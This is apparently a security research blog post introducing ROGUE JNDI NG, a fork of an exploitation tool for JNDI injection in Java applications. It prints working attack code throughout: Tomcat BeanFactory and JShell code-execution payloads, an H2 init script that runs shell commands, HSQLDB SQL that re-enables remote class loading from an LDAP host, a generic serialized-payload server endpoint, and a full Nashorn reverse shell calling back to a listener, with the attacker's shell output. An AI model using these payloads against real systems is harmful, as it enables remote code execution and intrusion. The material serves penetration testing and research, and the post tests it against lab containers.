JNDI Mind Tricks

More shells in Java based applications through ROGUE JNDI NG

Injection attacks via the Java Naming and Directory Interface (JNDI) have been known for years.

Most security professionals got in contact with JNDI when they had to deal with the infamous Log4Shell vulnerability, which is based on tricking the log4j library into making a JNDI call to an attacker controlled system.

Over the years, abusing JNDI has been an important part in the Java exploitation toolkit. This is even more true after common deserialization sinks were removed in Java 16/17 (see JEP 396).

Tools for exploitation (marshalsec, JNDI-Exploit-Kit, Rogue JNDI) have existed for a long time but are mostly unmaintained. We therefore decided to fork Rogue JNDI and maintain it by ourselves (pinky promise).

In this post, we’ll introduce the changes and additions we’ve made, which combined make up

🌟 ROGUE JNDI NG 🌟

We assume some prior knowledge of JNDI, but briefly go over the general exploitation mechanisms in the next section. If JNDI is new to you: Alvaro Muñoz and Oleksandr Mirosh gave a very good introduction to the topic at Black Hat 2016.1

Exploitation Strategies

In order to exploit JNDI lookups, we have two options:

  1. The attacker system responds directly with a serialized object (e.g. a ysoserial payload).
  2. return a Reference object containing all the necessary information for construction via a factory class

Option two is especially interesting. In earlier Java versions, it was possible to point a Reference to an attacker controlled remote codebase that contains the Java bytecode of the ObjectFactory implementation that should be used.

The vulnerable application would then fetch the bytecode from the specified location, and create a new instance from it.

Oracle placed restrictions on remote codebases in version 11.0.1 / 8u191. This means the system property com.sun.jndi.ldap.object.trustURLCodebase has to be manually set to true, preventing the usage of this generic technique under regular circumstances.

Without remote class loading, exploitation became highly dependent on ObjectFactory classes already located in the target’s classpath.

Michael Stepankin (artsploit) pioneered the idea of abusing those local implementations and wrote about it here, together with providing an actual implementation (Rogue JNDI).

The most ubiquitous and therefore interesting ObjectFactory is Tomcat’s BeanFactory. It’s a reflection-heavy factory class that’s probably a bit too lenient for its own good.

Over time, several additional ObjectFactory classes like com.ibm.ws.client.applicationclient.ClientJ2CCFFactory were discovered and added to the Rogue JNDI project.

Introducing ROGUE JNDI NG

The following sections go over the changes and additions of ROGUE JNDI NG.

Tomcat

As mentioned above, Tomcat with its BeanFactory remains a popular target for JNDI injections.

Michael Stepankin figured out it’s possible to use the class to invoke the evaluation of a Java Expression. This was used to call the eval method of the internal JavaScript(!) Runtime, which can then be used to execute arbitrary code.

A lot has changed since the original creation of Rogue JNDI, therefore changes on our side were needed. We provide three additional Tomcat endpoints that deal with different Java and Tomcat versions.

ELProcessor for Tomcat 10

The original exploit by artsploit uses javax.el.ELProcessor.eval() to evaluate the following payload:

"".getClass().forName("javax.script.ScriptEngineManager")
  .newInstance().getEngineByName("JavaScript")
  .eval("java.lang.Runtime.getRuntime().exec(<OS command>)");

Oracle transitioned Java EE to the Eclipse Foundation in 2017. Because the javax namespace is trademarked by Oracle, a change was necessary. This meant that the expression language in Tomcat 10 moved to a new package (jarkarta.el).

Here’s the relevant part of the old endpoint:

1
2
3
4
5
6
7
// Tomcat.java
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", payload));
e.addAttribute("javaSerializedData", serialize(ref));

And here’s our new endpoint:

1
2
3
4
5
6
7
// Tomcat10.java
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("jakarta.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", payload));
e.addAttribute("javaSerializedData", serialize(ref));

JShell for Java >= 15

The Nashorn JavaScript Engine is (or better was) part of the Java Runtime. It allows the execution of arbitrary JavaScript code within the Java Virtual Machine. This JavaScript code can be used to interact with the Java environment, for example by using existing Java classes and methods.

Abusing the Nashorn JavaScript engine is a well-known technique used in various exploits. However, the Engine was removed in Java 15 (not for security reasons).

As already pointed out, Michael Stepankin’s Tomcat payload also relied on it for code execution:

1
2
3
4
5
6
7
// Tomcat.java
String payload = ("{" +
        "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
        ".newInstance().getEngineByName(\"JavaScript\")" +
        ".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" +
        "}")
        .replace("${command}", makeJavaScriptString(jsPayload));

Because of the Nashorn’s removal, the original payload from Rogue JNDI will not work on a Tomcat server running under Java 16 or newer. Fortunately, since Java 9 there is an equivalent alternative.

As described in a Code White blog post, we can make use of JShell instead of the ScriptEngineManager in order to evaluate arbitrary (Java) code.

Our JShell addition looks like this:

1
2
3
4
5
6
7
// TomcatJShell.java
String payload = "{" +
     " \"\".getClass().forName(\"jdk.jshell.JShell\")" +
     ".getMethod(\"create\").invoke(null).eval(\"java.lang.Runtime.getRuntime()" +
     ".exec(${command})\")" +
     "}"
     .replace("${command}", "\\\"" + Config.command + "\\\"");

More elaborate payloads are possible, see the “General Script Support” section below.

We provide two additional endpoints for Tomcat (<10 and >=10) that use the JShell payload.

Grinding the Bean…Factory

Tomcat finally modified the BeanFactory in the following versions:

  • 10.1.x for 10.1.0-M14 onwards
  • 10.0.x for 10.0.21 onwards
  • 9.0.x for 9.0.63 onwards
  • 8.5.x for 8.5.79 onwards

They did this by removing the usage of the forceString attribute, which was originally added as an enhancement.

Here’s a quote from the commit that introduced the feature:

If a bean property exists […] that we don’t have a string conversion for, but the bean actually has a method to set the property from a string, allow to provide this information to the BeanFactory.

New attribute “forceString” taking a comma separated list of items as values. Each item is either a bean property name (e.g. “foo”) meaning that there is a setter function “setFoo(String)” for that property. Or the item is of the form “foo=method” meaning that property “foo” can be set by calling “method(String)”.

Being able to call an arbitrary method of an object that takes a string argument enabled artsploit’s original exploit:

1
2
3
4
5
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
        true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", payload));
e.addAttribute("javaSerializedData", serialize(ref));

This calls ELProcessor.eval() with a user supplied string.

Without forceString, we can’t call arbitrary methods anymore:

If the bean provides an alternative setter with the same name that does take a String, the BeanFactory will attempt to use that setter.

(4. Configure Tomcat’s Resource Factory, https://tomcat.apache.org/tomcat-11.0-doc/jndi-resources-howto.html)

RCE via H2 Init Script

As mentioned in the introduction, important code execution sinks like TemplatesImpl no longer work in newer Java versions. As a consequence, attackers have to shift their focus.

In one of our previous posts, we talked about abusing JDBC connections:

[…] we need to focus on DataSource implementations. The DataSource interface requires that the implementations provide a getConnection() method, making them a working sink for our customized CommonsBeanutils chain.

A DataSource having the getConnection() method makes it an ideal target for existing gadget chains like CommonsBeanutils1, which allow for invocation of any getXXX() method on a serializable object.

The existing deserialization gadgets in ysoserial can therefore be modified to create an outgoing database connection. This requires a serializable DataSource instance that is passed as part of the gadget. Invoking the getConnection() method on that instance will cause the initialization of the database connection.

In the case of H2, however, it’s not that simple. Calling getConnection() on a deserialized JdbcDataSource fails because of a call to debugCodeCall.

This is why we have to take the indirection through JDBC pooling libraries like Tomcat JDBC or HikariCP.

The exact flow of the attack looks like this:

  1. Point the JDBC connection string of a pooling library (!) DataSource object to the h2 endpoint of ROGUE JNDI NG (this is the payload for the next step)
  2. (Exploit insecure deserialization)
  3. Application performs a JNDI call in order to retrieve the connection
  4. Application creates a new JdbcDataSource instance using the H2 DataSource object factory and the properties received from the JNDI call
  5. Application invokes getConnection() on the created instance
  6. Application fetches the INIT script (specified in the properties of step 4) via HTTP from ROGUE JNDI NG and executes it
  7. H2 supports Java code in SQL -> remote code execution

Here’s the provided script:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
  Runtime.getRuntime().exec(cmd);
  return "";
}
$$;
CALL SHELLEXEC('<attacker provided command>')

RCE via HSQLDB and Tomcat JDBC

Some JDBC connection pool libraries provide functionality similar to the aforementioned H2 INIT script.

We use this fact to exploit HSQLDB, which provided the ability to call arbitrary static methods of any Java class in the target’s classpath. This vulnerability was patched in version 2.7.1 (see CVE-2022-41853).

Our endpoint provides an org.apache.tomcat.jdbc.pool.DataSourceFactory object that contains the initSQL attribute:2

CALL "java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase', 'true');
CALL "javax.naming.InitialContext.doLookup"('ldap://rogue-jndi:1337/o=reference');"));

Firstly, we set trustURLCodebase = true. Afterwards, we can load a remote class like it’s 2018 again.3

It’s worth mentioning that this only works when an actual database server (as opposed to an in-memory database) is running, which is why we have to specify a valid jdbc-url when starting ROGUE JNDI NG.

Generic Deserialization Payloads

Instead of creating endpoints for every gadget chain, we opted for a generic mechanism that reads a serialized class from a file and sends it inline (see exploitation strategy 1 above).

Many people maintain their own ysoserial fork. Not being tied to the standard gadget chains is a necessity in that situation.

Here’s an example of how to create a payload:4

# Java version: 17.0.12-amz
$ java --add-opens java.base/java.util=ALL-UNNAMED -jar target/ysoserial-all.jar CommonsCollections6 "touch /usr/local/tomcat/temp/pwn.txt" > commonscollections6.ser

This is the newly added endpoint:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Generic.java
@LdapMapping(uri = { "/o=generic" })
public class Generic implements LdapController {
    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
        if (Config.genericPayloadPath.isEmpty()) throw new Exception("--generic-payload-path must be set");

        var payload = Files.readAllBytes(Path.of(Config.genericPayloadPath));

        System.out.println("Sending LDAP Serializable Object (inline payload)");

        Entry e = new Entry(base);
        e.addAttribute("objectClass", "javaSerializedObject");
        e.addAttribute("javaSerializedData", payload);
        e.addAttribute("javaClassName", "ExploitClass");

        // The following attribute is *always* used when "com.sun.jndi.ldap.object.trustURLCodebase" is set to "true"
        // in the target application, meaning the lookup will reach out to the specified URL even if the class information
        // is already available in the target application (because of a vulnerable dependency).
        // See https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html (Serializable Objects).
        // e.addAttribute("javaCodeBase", "http://" + Config.hostname + ":" + Config.httpPort + "/");

        result.sendSearchEntry(e);
        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }
}

As you can see, we need to provide the -generic-payload-path option. Afterwards, the payload can be served via ldap://rogue-jndi:1337/o=generic.

# Assumes application has been built and $PWD = root of rogue-jndi-ng repository.
$ java -jar target/RogueJndi-1.1.jar --generic-payload-path "/path/to/payload.ser"

General Script Support

Previously, in Rogue JNDI it was only possible to specify an OS command that gets incorporated into a fixed JavaScript / Groovy payload. We’ve added the ability to specify a script file instead, which enables more complex payloads.

Users can provide JavaScript (/o=tomcat*), Groovy (/o=groovy) and Java (/o=tomcat*-jshell) files.

Nashorn Payload

Here’s an example reverse shell payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// First let's write a file.
var command = ["touch", "/usr/local/tomcat/temp/nashorn.pwn"];
var processBuilder = new java.lang.ProcessBuilder(command).start();

// Now let's start the reverse shell.
// Author: Chris Frohoff (https://gist.github.com/frohoff/a976928e3c1dc7c359f8)
var host = "host.docker.internal";
var port = 8044;
var cmd = "bash";

var p = new java.lang.ProcessBuilder(cmd)
            .redirectErrorStream(true)
            .start();

var s = new java.net.Socket(host,port);
var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
var po = p.getOutputStream(), so = s.getOutputStream();

while(!s.isClosed()){
  while(pi.available()>0)
    so.write(pi.read());
    while(pe.available()>0)
      so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
        so.flush();
        po.flush();
        java.lang.Thread.sleep(50);
        try {
          p.exitValue();
          break;
        } catch (e) { }
        };
        p.destroy();
        s.close();

Here’s the attacker’s point of view:

1
2
3
4
5
6
$ nc -l 8044
whoami
root
ls temp
nashorn.pwn
safeToDelete.tmp

JShell Payload

JShell is limited to “one complete snippet of source code”5 when evaluated programmatically. To work around the restrictions, we can use an Anonymous Runnable.

Here’s an example of using a ProcessBuilder and printing some stuff:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
new Runnable() {
    @Override
    public void run() {
        try {
            var runner = """
⠀⠀⠀⠀⠀⠀⠀⣰⣾⠟⠛⠓⠒⠚⠃⠉⠛⠒⠖⠋⠉⠉⠛⠻⠶⠶⠚⠛⠈⠉⠙⠓⠶⠲⠞⠋⣉⠋⠛⠷⠲⠒⠖⠛⠛⠲⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢰⣿⠟⣧⠀⠀⡀⢰⢧⢳⢦⠀⡀⠀⠂⠠⠀⢶⣄⣈⣷⣀⣺⠇⠀⠀⡀⠘⣷⣠⠿⢦⣴⡟⠀⠀⢀⠠⡶⡄⠈⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢀⣾⠏⠀⠌⠳⣄⠀⠈⢯⣚⡬⠗⠀⡀⠁⡀⣤⠞⠉⠁⠀⠈⠉⠳⢮⡀⢀⡞⠉⠀⠀⠀⠀⠉⠳⣄⠂⠀⠓⠋⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣰⣿⠋⠄⢡⠈⠄⣹⡀⠄⠀⠉⠚⠃⢀⠀⡐⣰⠃⠀⠀⠀⢀⣤⣤⣤⡀⠹⣟⠀⠀⠀⣠⣴⣤⣀⠀⠈⢷⡀⠀⠠⠀⠈⢳⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣿⠃⢠⠈⣤⣬⣔⠈⢷⣀⠐⠀⣞⢳⡄⠀⠀⣿⠀⠀⠀⠀⣾⣻⣼⣷⣻⣆⠸⡆⠀⢸⣟⣷⣿⡽⣆⠀⣈⡷⠶⣦⡐⠀⠈⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢀⣼⠏⡐⠀⢾⣟⣯⣟⣷⡀⠙⣶⠀⠈⠓⠋⠀⠄⢸⡄⠀⠀⠀⢻⡵⣿⣿⣷⣻⠀⡟⠀⠸⣯⢿⣿⣿⣻⠞⠁⠀⠀⣸⣗⣀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢺⡇⠐⡠⢉⠸⣟⡾⣽⣞⠇⡐⢸⡇⠀⢀⠐⣠⠴⠒⢋⡞⢦⡀⠈⠻⣽⣻⣏⡟⢠⡿⣄⠀⠙⢯⣿⠟⠁⠀⠠⢁⣴⠟⢲⡈⣝⣞⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠹⣷⣁⠐⡀⢂⠘⠛⠗⠋⢠⠐⡈⢷⡄⠀⣴⠃⠙⠁⢶⣠⢸⣇⡀⠀⠀⠉⢁⣠⠏⠀⠈⢓⡦⠞⠁⠀⢀⣴⡶⠟⠯⢰⣮⣅⠈⣼⠸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠻⢷⡄⠡⡈⠔⡈⠌⠄⣂⠰⢀⠹⣆⢷⣀⠄⠘⠻⣶⣤⣈⠉⠓⠛⠚⠉⠀⠀⠠⠘⠉⣠⢤⠶⠟⠋⠁⢀⣠⣴⣿⡇⠐⠚⠁⢰⣿⠀⠀⠀⠀⠀⠀⢀⠀⢀⠀⠀⠀
⠀⠀⠀⠀⠀⠸⣿⡀⠐⠠⣴⣮⡐⢀⠢⢀⠂⢹⡀⠉⠋⠉⠀⠙⣿⣿⣿⣷⣶⣤⣤⣔⣈⣀⣠⣀⣀⣀⣠⣤⣴⣾⣿⣿⣿⣿⡇⠀⠠⠀⢸⣿⠿⠛⠛⢶⡾⠟⠛⣋⡋⢿⡀⠀
⠀⠀⢀⣄⣀⣀⣘⣿⡾⢿⠿⢷⣧⠀⡂⠡⠈⠜⣧⠀⢀⠁⠄⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⠉⠉⠉⣿⣿⣿⠀⠀⢸⣿⣿⣿⣿⠀⠐⠀⠂⠀⢷⡀⠀⠀⠀⢿⡿⠛⢻⡄⢸⡇⠀
⠀⢀⣿⠋⣩⣍⣍⣙⡙⢚⡇⠀⠈⠙⠶⣿⡿⣶⡉⢷⠀⠀⠠⠈⠀⠈⢿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣾⣿⣿⣿⣶⣿⣿⣿⣿⡿⠀⠀⠌⠀⠂⠈⣧⣀⣠⣴⠿⢁⣠⣸⣇⢸⡆⠀
⠀⣼⡇⣸⡟⠉⠹⣿⡙⠟⠁⠀⠀⣀⣠⣿⡟⣷⣓⢨⡇⠀⢂⣤⡅⢀⠈⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠄⢂⣤⡐⢀⣿⠉⠉⠀⠀⢾⣿⡁⠃⠈⠻⣦
⠀⣿⠀⣿⡃⠀⠀⠉⠛⠛⢿⣟⠛⠉⢹⣷⣻⢷⡏⠘⣧⠀⠹⡦⡝⠀⠀⡀⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⢀⠀⡿⣆⢿⢸⡇⠀⠀⠀⠀⣾⢻⠃⣤⠀⣤⢻
⣀⡿⠀⠙⠛⠙⡷⣦⠀⠀⠈⢻⣦⠁⢂⠙⠿⠞⡁⢂⠙⣦⠀⠈⠀⣴⠳⢦⠀⠈⠻⣿⡿⡿⢿⣿⣿⢻⠿⣿⣿⣿⣿⡿⠃⠀⠠⠀⠉⠈⠁⠀⢿⡄⠀⠀⠀⠻⣦⣴⣧⣴⠷⠟
⣟⢠⠀⢤⠀⢼⣷⡿⠀⠀⠀⠀⣽⡆⠂⠌⡐⢀⠒⡀⢂⢸⠀⢈⠀⢯⢏⣳⠆⠀⡀⠈⠙⠿⣧⣾⣜⣫⣞⣵⣮⠿⠛⢁⡀⠀⢁⠀⠂⣱⢶⠀⢾⡇⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀
⠻⠿⢧⣼⡷⢴⠛⠀⠀⠀⠀⠀⢸⣷⠈⡐⣴⣷⡄⢁⠂⢼⡄⠀⠠⠈⠉⠀⠠⠀⡀⠐⠈⠑⠶⢬⣍⣉⣩⣉⣤⡴⠞⠉⠀⢀⠂⠀⡀⠉⠃⠀⢹⡥⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⣷⡀⠙⠾⠇⠠⢈⣤⣷⡮⠶⠛⠛⠛⠷⠿⢶⣿⡛⠙⠉⢛⣾⣯⡷⣷⡶⣾⣾⠷⠞⣶⣾⡷⠿⢶⣤⣤⣾⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣯⠐⠠⠈⣤⠟⡡⢂⣇⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⠶⠟⠁⠘⢻⣷⣿⡋⠈⠓⠋⠉⠁⠀⠀⠀⠀⠀⢸⣿⣤⡶⢶⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣆⣷⠛⡍⢢⢑⣦⣿⣞⢷⣛⣾⣳⣻⣞⣳⡟⣶⣻⣶⣿⣾⣿⣟⡿⣷⣷⣾⣷⣻⢶⣳⣾⣶⣷⡷⢚⣩⣤⣦⢀⡿⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⡁⢎⣰⣵⣿⣿⣿⣞⣻⢿⡿⢿⡿⢿⡿⣽⣻⢿⢿⣻⢿⣟⣾⣽⣿⡿⢿⣻⣯⣿⢿⣿⢟⣡⣾⡿⣿⡇⣿⠭⣟⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣧⣾⣿⣿⣿⣿⣿⣯⣗⣯⣞⣯⣞⣷⣹⣶⣝⣾⣹⣎⣟⣿⣿⣟⣷⣹⣟⣶⣿⡹⣮⢟⡿⣟⣿⣽⣿⡇⣿⠞⣿⠀⣴⣶⣷⣶⡄
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣛⢶⣻⣵⣿⣾⣿⣿⠟⠉⢰⡿⢀⡿⣸⣿⣯⣼⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⡿⣟⣿⣿⣟⣿⣿⣻⣿⣟⣿⣿⣻⣿⣟⣿⣽⣿⣿⣽⣿⣿⣿⣿⣿⣿⡿⠟⠀⠀⠀⣸⣷⣾⣿⣿⣿⡿⣏⣿⠏
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⠿⠿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣻⣿⠿⠿⠿⠿⠿⠿⠿⠟⠿⠻⠟⠟⠛⠿⠟⠿⠻⠃⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣽⠾⠋⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⡀⠘⢿⣿⣿⣿⣾⣿⣿⡃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⢻⣿⠍⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣯⠀⣰⡿⢉⣿⠟⠻⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠋⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣶⣿⣿⣿⣿⢻⣿⣼⡟⣡⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣹⣿⡏⣿⡏⣿⡿⡿⠋⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠿⠿⠟⠁⠸⣦⣠⡾⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                """;

            System.out.println(runner);

            var processBuilder = new java.lang.ProcessBuilder("touch", "/usr/local/tomcat/temp/pwn.txt");
            var process = processBuilder.start();
            var exitCode = process.waitFor();

            System.out.println("Process exited with code: " + exitCode);

        } catch (java.io.IOException | java.lang.InterruptedException e) {
            System.out.println("Something went *terribly* wrong: " + e.getMessage());
        }
    }
}.run();

As you can see, only the sky is the limit with so much flexibility!

Testing

All gadgets are tested against real environments thanks to Testcontainers, which makes us confident that they work as expected. The vulnerable applications used as a basis can be found here.

Let’s walk through an (JShell) example of how to test your own scripts.

First, start the test container:

 docker run -it -p 8080:8080 ghcr.io/thegebirge/jndi-outcast/tomcat-10-jshell:latest

After you’ve cloned the ROGUE JNDI NG repo and built the application, you can run:

 java -jar target/RogueJndi-1.1.jar --jshell-payload-path "/path/to/cloned/repo/rogue-jndi-ng/src/main/resources/payload.java"

Now you only need to make a request to the vulnerable servlet inside the container:

 curl "http://localhost:8080/tomcat-10-jshell-1.0-SNAPSHOT/lookup?resource=ldap://host.docker.internal:1389/o=tomcat10-jshell"

You should see the output of your script in the terminal that’s running the container.

Resources and Acknowledgements


  1. They also released a more thorough paper↩︎

  2. Our respository contains an example for HikariCP, too. ↩︎

  3. The technique was originally published by b1u3r, see also his slides↩︎

  4. Again, check out the post by frycos if you’re not familiar with the --add-opens option ↩︎

  5. Quote from here. The command line version of JShell supports more advanced usage. ↩︎